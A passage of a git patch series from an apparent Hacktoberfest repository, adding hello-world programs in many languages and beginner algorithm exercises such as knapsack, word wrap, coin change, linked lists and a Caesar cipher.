From f6f1f67682bc7fdf5031e02758383624b6718002 Mon Sep 17 00:00:00 2001 From: Manbir Marwah Date: Thu, 18 Oct 2018 21:38:35 +0530 Subject: [PATCH 1/4] added happy-hacktober.py --- Python/happy-hacktober.py | 1 + 1 file changed, 1 insertion(+) create mode 100644 Python/happy-hacktober.py diff --git a/Python/happy-hacktober.py b/Python/happy-hacktober.py new file mode 100644 index 000000000..0cc7edca1 --- /dev/null +++ b/Python/happy-hacktober.py @@ -0,0 +1 @@ +print("Happy hacktober!") \ No newline at end of file From 5c4d294983ed7476e5679567f558ace784608883 Mon Sep 17 00:00:00 2001 From: Manbir Marwah Date: Thu, 18 Oct 2018 21:40:40 +0530 Subject: [PATCH 2/4] updated 7 files --- 001/ho.py | 1 + 01/thenga.js | 9 + ASPECTJ/Program | 23 +++ ArnoldC/hello_world.arnoldc | 4 + C ++/HELLO WORLD !!.CPP | 6 +- C ++/Hello Earth.cpp | 8 + C ++/Hello-Worldd!! | 8 + C ++/Hello_world_by_Shashwat-Garg.cpp | 12 ++ C ++/Mars_Exploration_Hackerrank.cpp | 2 +- C ++/hello_hacktoberfest.cpp | 8 + C ++/hello_swar.cpp | 2 +- C ++/hello_world.cpp | 8 + ...ram to implement ceaser cipher algorithm.c | 24 +++ C Language/calculate height using struc | 62 ++++++ C#/PalindromeRecursive.cs | 33 ++++ C#/WelcomeInBrazil | 12 ++ C++/DynamicProgramming/Hosoya_triangle.cpp | 42 ++++ C++/DynamicProgramming/KnapSack_problem.cpp | 34 ++++ .../weighted_job_scheduling.cpp | 63 ++++++ C++/DynamicProgramming/word_wrap.cpp | 89 +++++++++ C++/Parallel_pi_calculator.cpp | 39 ++++ C++/Primorial.cpp | 26 +++ C++/ValidParenthesis.cpp | 43 ++++ C++/doubly_linked_list.cpp | 138 +++++++++++++ C++/funny-hello-world.cc | 16 ++ C++/hellow_world.cpp | 7 + C++/mandragora_forest.cpp | 42 ++++ C++/rev_linkedlist_using_recursion.cpp | 99 ++++++++++ C/DynamicProgramming/coin_change_problem.c | 40 ++++ C/Factorial | 58 ++++-- C/H33L0_w0rld.c | 6 +- C/Hello_world.c | 12 +- C/Reverse of a number | 16 ++ C/Sorting an array in descending order | 29 +++ C/abhishek.c | 12 ++ C/bubbleSortC/bubbleSort | 6 +- C/fabonacci.c | 28 +-- C/factors.c | 31 +-- C/hello_world_in_c.c | 5 + C/swap.c | 9 +- C/vigenere.c | 184 ++++++++++++++++++ CSharp/DontClose.sln | 28 +++ CSharp/HelloWorld/Program.cs | 17 ++ Cpp/min_hello_world.cpp | 2 +- Cuneiform/helloworld-cuneiform.txt | 6 + Docker/build_hello_world.dockerfile | 3 + Elixir/reverse_list.exs | 11 ++ From India/Namaste Duniya.py | 2 +- HAL-S/hello-world.hal | 8 + Haskell/showDate.hs | 3 + Haxe/GameOfLife/Main.hx | 36 ++++ Haxe/GameOfLife/World.hx | 59 ++++++ Hello world python/ggasconn-helloWorld.py | 1 + Hello world python/not_friendly_helloworld.py | 4 + Hi_the_simplest_way/the_simplest_way_ever.py | 55 ++++++ Hindi/hello_world_hindi.txt | 4 +- Hindi/helloworld Hindi/css/style.css | 18 ++ Hindi/helloworld Hindi/index.html | 44 +++++ Hindi/helloworld Hindi/index.pug | 1 + Hindi/helloworld Hindi/js/index.js | 47 +++++ Hindi/helloworld Hindi/scss/style.scss | 18 ++ Html/HelloWorldFromParaguay.html | 19 ++ Html/HelloWorldInParaguay.html | 19 ++ Html/helloworld-textcolor.html | 10 + Indonesia/README.md | 11 ++ Indonesia/hello_world_in_indonesia.py | 2 + Indonesia/hello_world_in_javanese.py | 9 + Indonesia/hello_world_in_sundanese.py | 3 + Java/BINARY TO DECIMAL | 19 ++ Java/BinarySearch2DArray.java | 54 +++++ Java/Binary_Search.java | 33 ++++ Java/DataStructure/Arrays/StringOfNBit | 24 +++ Java/HTTPServer/SimpleHTTPServer.java | 34 ++++ Java/HelloWorld/hello-femi | 5 + Java/InputExample.java | 33 ++++ Java/RomanNumeral.java | 52 +++++ Java/StringCompareTo.java | 28 +++ Java/decimal to binary | 22 +++ Java/gcd234.java | 26 +++ Java/successive_mult.java | 15 ++ JavaScript/NaveenKoti-UserScoring.js | 34 ++++ JavaScript/hello-arkjel.js | 3 + JavaScript/morseCode.js | 1 + JavaScript/post-message/iframe.html | 15 ++ JavaScript/post-message/index.html | 22 +++ JavaScript/setInterval.js | 5 + JavaScript/shalom-olam.js | 2 + Julia/Matrix Hello World.jl | 12 ++ Kotlin/hello-world-delegation.kt | 17 ++ LOLCODE/fib.lol | 41 ++++ MORSE/hello.morse | 1 + NodeJS/Nodejs.js | 31 +++ PHP/tada.php | 8 + Perl/hello.pl | 38 ++++ Perl/review_perl.sh | 123 ++++++++++++ Perl/t/hello.t | 9 + ProjectEuler/Java/P0001.java | 25 +++ ProjectEuler/Java/P0003.java | 28 +++ ProjectEuler/README.md | 3 + Python/Classing-Gender-SVM.py | 28 +++ Python/Classing-Gender.py | 28 +++ Python/Reverse of a number | 7 + Python/SimplePigLatin | 5 + Python/animated-helloworld.py | 20 ++ Python/circular_prime.py | 36 ++++ Python/factorial_calc.py | 10 + Python/find_max_palindrome_substring.py | 44 +++++ Python/flatten_container.py | 21 ++ Python/helloworld99.py | 1 + Python/image_scrape.py | 24 +++ Python/lenofstr.py | 8 + .../max_length_between_two_node_n_ry_tree.py | 42 ++++ Python/sample.py | 3 + Python/stackoverflow_to_mongodb.py | 116 +++++++++++ Python/udp-flood.py | 88 +++++++++ Python/wholenumtobit.py | 12 ++ React-Native/App-Hello-World.js | 19 ++ React-Native/App-World-Is-Black.js | 19 ++ VB.NET/HelloWorld.vb | 11 ++ WarayLang/hello-world.waray | 1 + jsfuck/hello-world.js | 1 + jsfuck/help.txt | 1 + katrinasilver/hello-world.liquid | 2 + x86/hello_world.asm | 24 +-- 124 files changed, 2979 insertions(+), 91 deletions(-) create mode 100644 001/ho.py create mode 100644 01/thenga.js create mode 100644 ASPECTJ/Program create mode 100644 ArnoldC/hello_world.arnoldc create mode 100644 C ++/Hello Earth.cpp create mode 100644 C ++/Hello-Worldd!! create mode 100644 C ++/Hello_world_by_Shashwat-Garg.cpp create mode 100644 C ++/hello_hacktoberfest.cpp create mode 100644 C ++/hello_world.cpp create mode 100644 C Language/c program to implement ceaser cipher algorithm.c create mode 100644 C Language/calculate height using struc create mode 100644 C#/PalindromeRecursive.cs create mode 100644 C#/WelcomeInBrazil create mode 100644 C++/DynamicProgramming/Hosoya_triangle.cpp create mode 100644 C++/DynamicProgramming/KnapSack_problem.cpp create mode 100644 C++/DynamicProgramming/weighted_job_scheduling.cpp create mode 100644 C++/DynamicProgramming/word_wrap.cpp create mode 100644 C++/Parallel_pi_calculator.cpp create mode 100644 C++/Primorial.cpp create mode 100644 C++/ValidParenthesis.cpp create mode 100644 C++/doubly_linked_list.cpp create mode 100644 C++/funny-hello-world.cc create mode 100644 C++/hellow_world.cpp create mode 100644 C++/mandragora_forest.cpp create mode 100644 C++/rev_linkedlist_using_recursion.cpp create mode 100644 C/DynamicProgramming/coin_change_problem.c create mode 100644 C/Reverse of a number create mode 100644 C/Sorting an array in descending order create mode 100644 C/abhishek.c create mode 100644 C/hello_world_in_c.c create mode 100644 C/vigenere.c create mode 100644 CSharp/DontClose.sln create mode 100644 CSharp/HelloWorld/Program.cs create mode 100644 Cuneiform/helloworld-cuneiform.txt create mode 100644 Docker/build_hello_world.dockerfile create mode 100644 Elixir/reverse_list.exs create mode 100644 HAL-S/hello-world.hal create mode 100644 Haskell/showDate.hs create mode 100644 Haxe/GameOfLife/Main.hx create mode 100644 Haxe/GameOfLife/World.hx create mode 100644 Hello world python/ggasconn-helloWorld.py create mode 100644 Hello world python/not_friendly_helloworld.py create mode 100644 Hi_the_simplest_way/the_simplest_way_ever.py create mode 100644 Hindi/helloworld Hindi/css/style.css create mode 100644 Hindi/helloworld Hindi/index.html create mode 100644 Hindi/helloworld Hindi/index.pug create mode 100644 Hindi/helloworld Hindi/js/index.js create mode 100644 Hindi/helloworld Hindi/scss/style.scss create mode 100644 Html/HelloWorldFromParaguay.html create mode 100644 Html/HelloWorldInParaguay.html create mode 100644 Html/helloworld-textcolor.html create mode 100644 Indonesia/README.md create mode 100644 Indonesia/hello_world_in_indonesia.py create mode 100644 Indonesia/hello_world_in_javanese.py create mode 100644 Indonesia/hello_world_in_sundanese.py create mode 100644 Java/BINARY TO DECIMAL create mode 100644 Java/BinarySearch2DArray.java create mode 100644 Java/Binary_Search.java create mode 100644 Java/DataStructure/Arrays/StringOfNBit create mode 100644 Java/HTTPServer/SimpleHTTPServer.java create mode 100644 Java/HelloWorld/hello-femi create mode 100644 Java/InputExample.java create mode 100644 Java/RomanNumeral.java create mode 100644 Java/StringCompareTo.java create mode 100644 Java/decimal to binary create mode 100644 Java/gcd234.java create mode 100644 Java/successive_mult.java create mode 100644 JavaScript/NaveenKoti-UserScoring.js create mode 100644 JavaScript/hello-arkjel.js create mode 100644 JavaScript/morseCode.js create mode 100644 JavaScript/post-message/iframe.html create mode 100644 JavaScript/post-message/index.html create mode 100644 JavaScript/setInterval.js create mode 100644 JavaScript/shalom-olam.js create mode 100644 Julia/Matrix Hello World.jl create mode 100644 Kotlin/hello-world-delegation.kt create mode 100644 LOLCODE/fib.lol create mode 100644 MORSE/hello.morse create mode 100644 NodeJS/Nodejs.js create mode 100644 PHP/tada.php create mode 100644 Perl/hello.pl create mode 100644 Perl/review_perl.sh create mode 100644 Perl/t/hello.t create mode 100644 ProjectEuler/Java/P0001.java create mode 100644 ProjectEuler/Java/P0003.java create mode 100644 ProjectEuler/README.md create mode 100644 Python/Classing-Gender-SVM.py create mode 100644 Python/Classing-Gender.py create mode 100644 Python/Reverse of a number create mode 100644 Python/SimplePigLatin create mode 100644 Python/animated-helloworld.py create mode 100644 Python/circular_prime.py create mode 100644 Python/factorial_calc.py create mode 100644 Python/find_max_palindrome_substring.py create mode 100644 Python/flatten_container.py create mode 100644 Python/helloworld99.py create mode 100644 Python/image_scrape.py create mode 100644 Python/lenofstr.py create mode 100644 Python/max_length_between_two_node_n_ry_tree.py create mode 100644 Python/sample.py create mode 100644 Python/stackoverflow_to_mongodb.py create mode 100644 Python/udp-flood.py create mode 100644 Python/wholenumtobit.py create mode 100644 React-Native/App-Hello-World.js create mode 100644 React-Native/App-World-Is-Black.js create mode 100644 VB.NET/HelloWorld.vb create mode 100644 WarayLang/hello-world.waray create mode 100644 jsfuck/hello-world.js create mode 100644 jsfuck/help.txt create mode 100644 katrinasilver/hello-world.liquid diff --git a/001/ho.py b/001/ho.py new file mode 100644 index 000000000..2d2863a3e --- /dev/null +++ b/001/ho.py @@ -0,0 +1 @@ +print("ഹലോ വേൾഡ് "hello world"") diff --git a/01/thenga.js b/01/thenga.js new file mode 100644 index 000000000..e81fa70c0 --- /dev/null +++ b/01/thenga.js @@ -0,0 +1,9 @@ + +പ്രയോഗം വിളി(പേര്) { + മടക്കം "കമോണ്ട്രാ " + പേര് + "!"; +}; + വിളി("മഹേഷേ"); + + + + diff --git a/ASPECTJ/Program b/ASPECTJ/Program new file mode 100644 index 000000000..287bd5bd0 --- /dev/null +++ b/ASPECTJ/Program @@ -0,0 +1,23 @@ +# AspectJ uses a Java-like syntax. + +// HelloWorld.java +public class HelloWorld { + public static void say(String message) { + System.out.println(message); + } + + public static void sayToPerson(String message, String name) { + System.out.println(name + ", " + message); + } +} + +// MannersAspect.java +public aspect MannersAspect { + pointcut callSayMessage() : call(public static void HelloWorld.say*(..)); + before() : callSayMessage() { + System.out.println("Good day!"); + } + after() : callSayMessage() { + System.out.println("Thank you!"); + } +} diff --git a/ArnoldC/hello_world.arnoldc b/ArnoldC/hello_world.arnoldc new file mode 100644 index 000000000..06064e76b --- /dev/null +++ b/ArnoldC/hello_world.arnoldc @@ -0,0 +1,4 @@ +IT'S SHOWTIME +TALK TO THE HAND "hello world" +TALK TO THE HAND "Woah let's do it" +YOU HAVE BEEN TERMINATED diff --git a/C ++/HELLO WORLD !!.CPP b/C ++/HELLO WORLD !!.CPP index d5860d582..0089d8564 100644 --- a/C ++/HELLO WORLD !!.CPP +++ b/C ++/HELLO WORLD !!.CPP @@ -1,5 +1,7 @@ // CODING IN TURBO C++ // -** PRINTING OF �HELLO WORLD !!� ** + +** PRINTING OF “HELLO WORLD !!” ** + ( USING LOWER & UPPER TRAINGLE OF A MATRIX) #include @@ -24,7 +26,7 @@ void main() } cout<<" "; } - cout<<" HELLO WORLD !! \n"; + cout<<"\n HELLO WORLD !! \n"; cout<<" "; for(i=0;i +using namespace std; + +int main () +{ +cout<<"Hello Earth"; +return 0; +} diff --git a/C ++/Hello-Worldd!! b/C ++/Hello-Worldd!! new file mode 100644 index 000000000..c501892fa --- /dev/null +++ b/C ++/Hello-Worldd!! @@ -0,0 +1,8 @@ +#include +using namespace std; + +int main() +{ + cout<<"Hello World"; + return 0; +} diff --git a/C ++/Hello_world_by_Shashwat-Garg.cpp b/C ++/Hello_world_by_Shashwat-Garg.cpp new file mode 100644 index 000000000..e6bf15146 --- /dev/null +++ b/C ++/Hello_world_by_Shashwat-Garg.cpp @@ -0,0 +1,12 @@ +/* + * Shashwat Garg + * B16034 + * IIT Mandi + */ + +#include +using namespace std; +int main(){ + cout<<"Hello World from Shashwat-Garg ! :)\n"; + return 0; +} \ No newline at end of file diff --git a/C ++/Mars_Exploration_Hackerrank.cpp b/C ++/Mars_Exploration_Hackerrank.cpp index 275bbcb02..ab8af2bdd 100644 --- a/C ++/Mars_Exploration_Hackerrank.cpp +++ b/C ++/Mars_Exploration_Hackerrank.cpp @@ -23,7 +23,7 @@ int main(){ i++; } } - i--; + i-=1; } cout << count; return 0; diff --git a/C ++/hello_hacktoberfest.cpp b/C ++/hello_hacktoberfest.cpp new file mode 100644 index 000000000..e98edd496 --- /dev/null +++ b/C ++/hello_hacktoberfest.cpp @@ -0,0 +1,8 @@ +#include + +using namespace std; + +int main(){ + cout << "Hello Hacktoberfest" < +using namespace std; +int main(){ +for(int i=0;i<100;i++) +cout<<"Hello world!\n"; +return 0; +} diff --git a/C Language/c program to implement ceaser cipher algorithm.c b/C Language/c program to implement ceaser cipher algorithm.c new file mode 100644 index 000000000..9bb7c5077 --- /dev/null +++ b/C Language/c program to implement ceaser cipher algorithm.c @@ -0,0 +1,24 @@ +#include + +int main() +{ + char array[100], cipher[100]; + int c=0, x=0, y=0; + int z; + printf("This Program will encrypt according to your needs\n"); + printf("Enter the cipher key\n"); + scanf("%d",&z); + printf("Enter the sentence"); + while((c=getchar()) != '\n') + { + array[x++]=(char)c; + cipher[y++]=(char)(c+z); + } + + array[x]=0; + cipher[y]=0; + + printf("%s\n",cipher); + + return 0; +} diff --git a/C Language/calculate height using struc b/C Language/calculate height using struc new file mode 100644 index 000000000..a1d46b27e --- /dev/null +++ b/C Language/calculate height using struc @@ -0,0 +1,62 @@ +struct height{ +int m; +int cm; +}; +int main(){ +struct height h1,h2,h3; +int n=0,temp1,temp2,temp3; +printf("enter h1:\n"); +scanf("%d%d",&h1.m,&h1.cm); +printf("enter h2:\n"); +scanf("%d%d",&h2.m,&h2.cm); +printf("enter 1 to add 2 heights and display result\nenter 2 to subtract 2 heights and display result\nenter 3 to display both the heights in meters\nenter 4 to exit\n"); +temp1=h1.m*100+h1.cm; +temp2=h2.m*100+h2.cm; +scanf("%d",&n); +printf("%d",n); +while(n!=4){ +//switch condition +switch(n){ +case 1: +h3.m=h1.m+h2.m; +h3.cm=h1.cm+h2.cm; +while(h3.cm>100) +{ +h3.m=h3.m+1; +h3.cm=h3.cm-100; +} +printf("after addition height will be : %d m %d cm\n",h3.m,h3.cm); +break; + +case 6: +printf("fuhf"); +if(temp1>temp2) +temp3=temp1-temp2; +else +temp3=temp2-temp1; +while(temp3>100){ +h3.m=h3.m+1; +h3.cm=h3.cm-100; +} +printf("after subtraction height will be : %d m %d cm\n",h3.m,h3.cm); +break; + + +case 3: +printf("%d %d\n",h1.m,h1.cm); +printf("%d %d\n",h2.m,h2.cm); +break; + +case 4: +return 0; +break; + +default: +printf("something wrong is entered\n"); +} +scanf("%d",&n); +printf("%d",n); +} +return 0; +} + diff --git a/C#/PalindromeRecursive.cs b/C#/PalindromeRecursive.cs new file mode 100644 index 000000000..b4b658607 --- /dev/null +++ b/C#/PalindromeRecursive.cs @@ -0,0 +1,33 @@ +using System; +using System.Linq; + +namespace RecursivePalindrome +{ + class Program + { + private static void Main() + { + bool another; + Console.WriteLine("This is aRecursive Palindrome Test"); + Console.WriteLine("To exit please use Ctrl+C"); + + do + { + Console.WriteLine("Please enter a possible palindrome: "); + var posPalin = Console.ReadLine()?.Trim().ToLower(); + Console.WriteLine(IsPalindrome(posPalin) + ? $"{posPalin} is a palindrome" + : $"{posPalin} is not a palindrome"); + Console.WriteLine("Do you want to test another palindrome? (y/n)"); + another = (bool) Console.ReadLine()?.Trim().ToLower().Equals("y"); + } while (another); + } + + private static bool IsPalindrome(string s) + { + if (s.Length == 0 || s.Length == 1) return true; + + return s.ToCharArray().First() == s.ToCharArray().Last() && IsPalindrome(s.Substring(1,s.Length-2)); + } + } +} diff --git a/C#/WelcomeInBrazil b/C#/WelcomeInBrazil new file mode 100644 index 000000000..9cfe2de15 --- /dev/null +++ b/C#/WelcomeInBrazil @@ -0,0 +1,12 @@ +using System; + namespace WelcomeInBrazil +{ + class Program + { + static void Main(string[] args) + { + Console.Write("Here's a mess, are you sure you want to come in?"); + Console.ReadKey(); + } + } +} diff --git a/C++/DynamicProgramming/Hosoya_triangle.cpp b/C++/DynamicProgramming/Hosoya_triangle.cpp new file mode 100644 index 000000000..37a081940 --- /dev/null +++ b/C++/DynamicProgramming/Hosoya_triangle.cpp @@ -0,0 +1,42 @@ +// CPP Program to print Hosoya's +// triangle of height n. +#include +using namespace std; + +int Hosoya(int n, int m) { + // Base case + if ((n == 0 && m == 0) || + (n == 1 && m == 0) || + (n == 1 && m == 1) || + (n == 2 && m == 1)) + return 1; + + // Recursive step + if (n > m) + return Hosoya(n - 1, m) + + Hosoya(n - 2, m); + + else if (m == n) + return Hosoya(n - 1, m - 1) + + Hosoya(n - 2, m - 2); + + else + return 0; +} + +// Print the Hosoya triangle of height n. +void printHosoya(int n) { + for (int i = 0; i < n; i++) { + for (int j = 0; j <= i; j++) + cout << Hosoya(i, j) << " "; + + cout << endl; + } +} + +// Driven Program +int main() { + int n = 5; + printHosoya(n); + return 0; +} diff --git a/C++/DynamicProgramming/KnapSack_problem.cpp b/C++/DynamicProgramming/KnapSack_problem.cpp new file mode 100644 index 000000000..b4ba92062 --- /dev/null +++ b/C++/DynamicProgramming/KnapSack_problem.cpp @@ -0,0 +1,34 @@ +// A Dynamic Programming based solution for 0-1 Knapsack problem +#include + +// A utility function that returns maximum of two integers +int max(int a, int b) { return (a > b)? a : b; } + +// Returns the maximum value that can be put in a knapsack of capacity W +int knapSack(int W, int wt[], int val[], int n) { + int i, w; + int K[n+1][W+1]; + + // Build table K[][] in bottom up manner + for (i = 0; i <= n; i++) { + for (w = 0; w <= W; w++) { + if (i==0 || w==0) + K[i][w] = 0; + else if (wt[i-1] <= w) + K[i][w] = max(val[i-1] + K[i-1][w-wt[i-1]], K[i-1][w]); + else + K[i][w] = K[i-1][w]; + } + } + + return K[n][W]; +} + +int main() { + int val[] = {60, 100, 120}; + int wt[] = {10, 20, 30}; + int W = 50; + int n = sizeof(val)/sizeof(val[0]); + printf("%d", knapSack(W, wt, val, n)); + return 0; +} diff --git a/C++/DynamicProgramming/weighted_job_scheduling.cpp b/C++/DynamicProgramming/weighted_job_scheduling.cpp new file mode 100644 index 000000000..b0159c0b7 --- /dev/null +++ b/C++/DynamicProgramming/weighted_job_scheduling.cpp @@ -0,0 +1,63 @@ +// C++ program for weighted job scheduling using Dynamic Programming. +#include +#include +using namespace std; + +// A job has start time, finish time and profit. +struct Job { + int start, finish, profit; +}; + +// A utility function that is used for sorting events +// according to finish time +bool jobComparataor(Job s1, Job s2) { + return (s1.finish < s2.finish); +} + +// Find the latest job (in sorted array) that doesn't +// conflict with the job[i] +int latestNonConflict(Job arr[], int i) { + for (int j=i-1; j>=0; j--) { + if (arr[j].finish <= arr[i].start) + return j; + } + return -1; +} + +// The main function that returns the maximum possible +// profit from given array of jobs +int findMaxProfit(Job arr[], int n) { + // Sort jobs according to finish time + sort(arr, arr+n, jobComparataor); + + // Create an array to store solutions of subproblems. table[i] + // stores the profit for jobs till arr[i] (including arr[i]) + int *table = new int[n]; + table[0] = arr[0].profit; + + // Fill entries in M[] using recursive property + for (int i=1; i +#include +#define INF INT_MAX + +// A utility function to print the solution +int printSolution (int p[], int n); + +// l[] represents lengths of different words in input sequence. For example, +// l[] = {3, 2, 2, 5} is for a sentence like "aaa bb cc ddddd". n is size of +// l[] and M is line width (maximum no. of characters that can fit in a line) +void solveWordWrap (int l[], int n, int M) { + // For simplicity, 1 extra space is used in all below arrays + + // extras[i][j] will have number of extra spaces if words from i + // to j are put in a single line + int extras[n+1][n+1]; + + // lc[i][j] will have cost of a line which has words from + // i to j + int lc[n+1][n+1]; + + // c[i] will have total cost of optimal arrangement of words + // from 1 to i + int c[n+1]; + + // p[] is used to print the solution. + int p[n+1]; + + int i, j; + + // calculate extra spaces in a single line. The value extra[i][j] + // indicates extra spaces if words from word number i to j are + // placed in a single line + for (i = 1; i <= n; i++) { + extras[i][i] = M - l[i-1]; + for (j = i+1; j <= n; j++) + extras[i][j] = extras[i][j-1] - l[j-1] - 1; + } + + // Calculate line cost corresponding to the above calculated extra + // spaces. The value lc[i][j] indicates cost of putting words from + // word number i to j in a single line + for (i = 1; i <= n; i++) { + for (j = i; j <= n; j++) { + if (extras[i][j] < 0) + lc[i][j] = INF; + else if (j == n && extras[i][j] >= 0) + lc[i][j] = 0; + else + lc[i][j] = extras[i][j]*extras[i][j]; + } + } + + // Calculate minimum cost and find minimum cost arrangement. + // The value c[j] indicates optimized cost to arrange words + // from word number 1 to j. + c[0] = 0; + for (j = 1; j <= n; j++) { + c[j] = INF; + for (i = 1; i <= j; i++) { + if (c[i-1] != INF && lc[i][j] != INF && (c[i-1] + lc[i][j] < c[j])) { + c[j] = c[i-1] + lc[i][j]; + p[j] = i; + } + } + } + + printSolution(p, n); +} + +int printSolution (int p[], int n) { + int k; + if (p[n] == 1) + k = 1; + else + k = printSolution (p, p[n]-1) + 1; + printf ("Line number %d: From word no. %d to %d \n", k, p[n], n); + return k; +} + +// Driver program to test above functions +int main() { + int l[] = {3, 2, 2, 5}; + int n = sizeof(l)/sizeof(l[0]); + int M = 6; + solveWordWrap (l, n, M); + return 0; +} diff --git a/C++/Parallel_pi_calculator.cpp b/C++/Parallel_pi_calculator.cpp new file mode 100644 index 000000000..0a43544c0 --- /dev/null +++ b/C++/Parallel_pi_calculator.cpp @@ -0,0 +1,39 @@ +#include +#include + +using namespace std; + +#define NUM_THREADS 8 + +static long num_trials = 3000000000; + +int main(int argc, char const *argv[]) { + + double pi, x, y; + double r = 1.0; + unsigned seed0, seed1; + long Ncirc = 0; + + double start = omp_get_wtime(); + omp_set_num_threads(NUM_THREADS); + + #pragma omp parallel private(seed0,seed1,x,y) + { + seed0 = 58472 * (omp_get_thread_num() + 1318); + seed1 = 27392 * (omp_get_thread_num() + 8281); + + #pragma omp for reduction (+:Ncirc) + for (long i = 0; i < num_trials; i++) { + x = -1 + ((double)rand_r(&seed0) / RAND_MAX) * (1 - (-1)); + y = -1 + ((double)rand_r(&seed1) / RAND_MAX) * (1 - (-1)); + if ((x*x + y*y) <= r*r) Ncirc++; + } + } + + double end = omp_get_wtime(); + pi = 4.0 * ((double)Ncirc/(double)num_trials); + printf("%ld trials, pi is %.64g\n",num_trials, pi ); + printf("Time: %g\n", end - start ); + + return 0; +} diff --git a/C++/Primorial.cpp b/C++/Primorial.cpp new file mode 100644 index 000000000..b7566a197 --- /dev/null +++ b/C++/Primorial.cpp @@ -0,0 +1,26 @@ +int primorial() +{ + int number, i, j, sum = 1; + bool prime; + cout << "Enter a number: "; + cin >> number; + + for(i=2;i<=number;i++) + { + prime = true; + for(j=2;j>t; + while(t--){ + string s; + cin>>s; + stack st; + for(int i=0;i + +using namespace std; + +class node +{ + int data; + node *next; + node *prev; +public: + void insert_head(int data); + void insert_tail(int data); + void display(); + void rev_display(); + +}; + +node *head; + +void node :: insert_head(int data) +{ + node *temp; + temp = new node; + temp->data = data; + temp->next = NULL; + temp->prev = NULL; + if (head == NULL) + { + head = temp; + return; + } + head->prev = temp; + temp->next = head; + head = temp; + return; +} + +void node :: insert_tail(int data) +{ + node *temp; + temp = new node; + temp->data = data; + temp->next = NULL; + temp->prev = NULL; + + if(head == NULL) + { + head = temp; + return; + } + + node *temp1; + temp1 = head; + while(temp1->next != NULL) + { + temp1 = temp1->next; + } + temp1->next = temp; + temp->prev = temp1; + return; +} + +void node :: display() +{ + node *temp; + temp = head; + while(temp != NULL) + { + cout<<"\nThe data inserted is: "<data; + temp = temp->next; + } + return; +} + +void node :: rev_display() +{ + node *temp; + temp = head; + while(temp->next != NULL) + { + temp = temp->next; + } + while(temp != NULL) + { + cout<<"\nThe data inserted is: "<data; + temp = temp->prev; + } + return; +} + +int main() +{ + head = NULL; + int flag = 1,i,data,n; + node abc; + while(flag == 1) + { + cout<<"\n1.Enter at the end of the linked list"; + cout<<"\n2.Enter at the beginning of the linked list"; + cout<<"\n3.Print the linked list"; + cout<<"\n4.Print Reverse of the list"; + cout<<"\nEnter your choice: "; + cin>>i; + switch(i) + { + case 1: cout<<"\nEnter the value to be inserted in list: "; + cin>>data; + abc.insert_tail(data); + break; + case 2: cout<<"\nEnter the value to be inserted in list: "; + cin>>data; + abc.insert_head(data); + break; + case 3: abc.display(); + break; + case 4: abc.rev_display(); + break; + } + cout<<"\nDo you want to continue(1-yes/0-no): "; + cin>>flag; + } + return 0; +} \ No newline at end of file diff --git a/C++/funny-hello-world.cc b/C++/funny-hello-world.cc new file mode 100644 index 000000000..c8b954200 --- /dev/null +++ b/C++/funny-hello-world.cc @@ -0,0 +1,16 @@ +// $ make funny-hello-world + +#include + +void rev (char *str) { + if(*str == '\0') return; + rev(str + 1); + putchar(*str); +} + +int main (void) { + const char *string = "Hello"; + while (*string) putchar(*string++); + rev("\n!dlroW ,"); + return 0; +} diff --git a/C++/hellow_world.cpp b/C++/hellow_world.cpp new file mode 100644 index 000000000..0213fd340 --- /dev/null +++ b/C++/hellow_world.cpp @@ -0,0 +1,7 @@ +#include +#include +void main() +{ +cout<<"Hello World"; +getch(); +} diff --git a/C++/mandragora_forest.cpp b/C++/mandragora_forest.cpp new file mode 100644 index 000000000..0cac58e5d --- /dev/null +++ b/C++/mandragora_forest.cpp @@ -0,0 +1,42 @@ +#include +#include +#include + +using namespace std; + +int main() { + long T; + cin >> T; + + long N; + for (long t=0; t> N; + vector monsters(N); + + // Calculate sum of monster health as we gather input + long sum_health = 0; + long h; + for (long n=0; n> h; + + sum_health += h; + monsters[n] = h; + } + + // Consider monsters in sorted order + sort(monsters.begin(), monsters.end()); + + long max_xp = -1; + for (int s=1; s<=N; s++) { + max_xp = max(s*sum_health, max_xp); + if (max_xp != s*sum_health) + break; + + sum_health -= monsters[s-1]; + } + + cout << max_xp << endl; + } + + return 0; +} diff --git a/C++/rev_linkedlist_using_recursion.cpp b/C++/rev_linkedlist_using_recursion.cpp new file mode 100644 index 000000000..4727f46ee --- /dev/null +++ b/C++/rev_linkedlist_using_recursion.cpp @@ -0,0 +1,99 @@ +/* + +The program reverses a linked list using recursion. + +Wiki - https://en.wikipedia.org/wiki/Linked_list + - https://en.wikipedia.org/wiki/Recursion_(computer_science) +*/ +#include + +using namespace std; + +class node +{ + int data; + node *next; +public: + void insert(int data); + void display(); + void rev_list(node *); + +}; + +node *head; + +void node :: insert(int data) +{ + node *temp; + temp = new node ; + temp->data = data; + temp->next = NULL; + if (head == NULL) + { + head = temp; + } + else + { + node *temp2; + temp2 = head; + while (temp2->next != NULL) + { + temp2 = temp2->next; + } + temp2->next = temp; + } +} +void node :: display() +{ + node *temp; + temp = head; + while (temp != NULL) + { + wcout<<"The data is: "<data; + cout<next; + //cout<<"temp->next is: "<next == NULL) + { + head = temp; + return; + } + rev_list(temp->next); + temp->next->next = temp; + temp->next = NULL; +} + +int main() +{ + head = NULL; + int flag = 1,i,data,n; + node abc; + while(flag == 1) + { + cout<<"\n1.Enter at the end of the linked list"; + cout<<"\n2.Print the linked list"; + cout<<"\n3.Reverse the list recursively"; + cout<<"\nEnter your choice: "; + cin>>i; + switch(i) + { + case 1: cout<<"\nEnter the value to be inserted in list: "; + cin>>data; + abc.insert(data); + break; + case 2: abc.display(); + break; + case 3: abc.rev_list(head); + break; + } + cout<<"\nDo you want to continue(1-yes/0-no): "; + cin>>flag; + } + return 0; +} \ No newline at end of file diff --git a/C/DynamicProgramming/coin_change_problem.c b/C/DynamicProgramming/coin_change_problem.c new file mode 100644 index 000000000..47f78d6e1 --- /dev/null +++ b/C/DynamicProgramming/coin_change_problem.c @@ -0,0 +1,40 @@ +// C program for coin change problem. +#include + +int count(int S[], int m, int n) { + int i, j, x, y; + + // We need n+1 rows as the table is constructed + // in bottom up manner using the base case 0 + // value case (n = 0) + int table[n+1][m]; + + // Fill the enteries for 0 value case (n = 0) + for (i=0; i= 0)? table[i - S[j]][j]: 0; + + // Count of solutions excluding S[j] + y = (j >= 1)? table[i][j-1]: 0; + + // total count + table[i][j] = x + y; + } + } + return table[n][m-1]; +} + +// Driver program to test above function +int main() { + int arr[] = {1, 2, 3}; + int m = sizeof(arr)/sizeof(arr[0]); + int n = 4; + printf(" %d ", count(arr, m, n)); + return 0; +} diff --git a/C/Factorial b/C/Factorial 